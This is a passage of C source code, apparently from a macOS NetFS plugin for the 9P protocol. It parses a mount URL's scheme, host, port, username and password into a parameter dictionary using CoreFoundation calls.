if (url == NULL || params == NULL || !CFURLCanBeDecomposed(url))
return EINVAL;
DEBUG("url=%s", NetFSCFStringtoCString(CFURLGetString(url)));
*params = dict = CreateDict9P();
if (dict == NULL)
return ENOMEM;
/* mandatory */
str = CFURLCopyScheme(url);
if (str == NULL)
goto error;
CFDictionarySetValue(dict, kNetFSSchemeKey, str);
CFRelease(str);
str = CFURLCopyHostName(url);
if (str == NULL)
goto error;
CFDictionarySetValue(dict, kNetFSHostKey, str);
CFRelease(str);
/* optional */
port = CFURLGetPortNumber(url);
if (port != -1) {
str =
CFStringCreateWithFormat(kCFAllocatorDefault, NULL,
CFSTR("%d"), (int)port);
if (str == NULL)
goto error;
CFDictionarySetValue(dict, kNetFSAlternatePortKey, str);
CFRelease(str);
}
str = CFURLCopyUserName(url);
if (str != NULL) {
CFDictionarySetValue(dict, kNetFSUserNameKey, str);
CFRelease(str);
}
str = CFURLCopyPassword(url);
if (str != NULL) {
CFDictionarySetValue(dict, kNetFSPasswordKey, str);
CFRelease(str);
}
/*
str = CFURLCopyPath(url);
if (str != NULL) {
CFDictionarySetValue(dict, kNetFSPathKey, str);
CFRelease(str);
}
*/
return 0;
error:
e = errno;
*params = NULL;
CFRelease(dict);
return e;
}